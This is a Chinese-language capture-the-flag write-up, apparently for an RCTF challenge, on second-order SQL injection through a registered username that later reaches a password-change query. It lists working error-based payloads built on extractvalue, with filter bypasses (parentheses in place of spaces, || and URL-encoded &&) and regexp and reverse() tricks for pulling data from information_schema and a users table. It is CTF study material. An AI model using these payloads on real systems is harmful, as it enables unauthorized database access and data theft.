又是一道二次注入的题目。本菜鸡还是没有独立做出来,对二次注入这个知识点还是有些不熟练。
一开始先去注册,但发现即使自己正常填信息也不能注册成功,然后懒就没想着去Fazz一下。然后折腾好一会,当我直接只填写username而不填写password、email时发现注册成功。服了,当时心态有点不好吧…
当尝试username为admin"
然后再去改密码时出现了报错,说明是双引号闭合,而不是常规的单引号闭合,二次注入的利用点在修改密码的username处,username即为我们注册的username
我们可以猜测一下修改密码的SQL语句应该是:
update 表 set password='xxx' where username='xx' and pwd='xx'
再结合上有报错信息,我们要构造一条报错语句
但要注意username是过滤了 空格、and、or、/* 等等字符的
空格可以用()
来绕过,and、or可以用||和 &&
绕过
测试语句:
admin"||extractvalue(1,concat(0x7e,user(),0x7e))#
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#
~article,flag,users~
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),0x7e))#
~flag~
admin"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e))#
RCTF{Good job! But flag not her
flag并不在flag表中,尝试一下users这个表:
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e))#
name,pwd,email,real_flag_1s_her
发现确实在users表中,但当我使用mid、substr、left、right尝试截取后面未显示出来的字符时却不行,原来被过滤了。
到这儿就卡住不知道还有什么方法截取字符了…看师傅们是利用正则来截取字符的
select * from test where name regexp '^r'
照着上面这个语句构造即可:
注意这里用到 &&表示逻辑与 从而代替and,但因为我是burp上操作的,不编码会被burp认为是新的参数,所以我选择URL进行一下编码
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=('users')%26%26(column_name)regexp('^r')),0x7e))#
real_flag_1s_here
读flag字段信息:
admin"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e))#
还是因为回显的限制,然后尝试regexp('^df')
的方式想着从截取df字符以后的,但并不能成功。
这里用到一个reserve()函数将字符串反转
admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e))#
这样就巧妙地回去到末尾的字符了,只需要再将获取的字符反转一下:
MariaDB [test]> select reverse('~}0d8bd15273fd-85da-56f4-b605-8a');
+---------------------------------------------+
| reverse('~}0d8bd15273fd-85da-56f4-b605-8a') |
+---------------------------------------------+
| a8-506b-4f65-ad58-df37251db8d0}~ |
+---------------------------------------------+
regexp '^r'
表示匹配以r
为开头的字符串Reverse()
函数可以配合截取,逆序输出的字符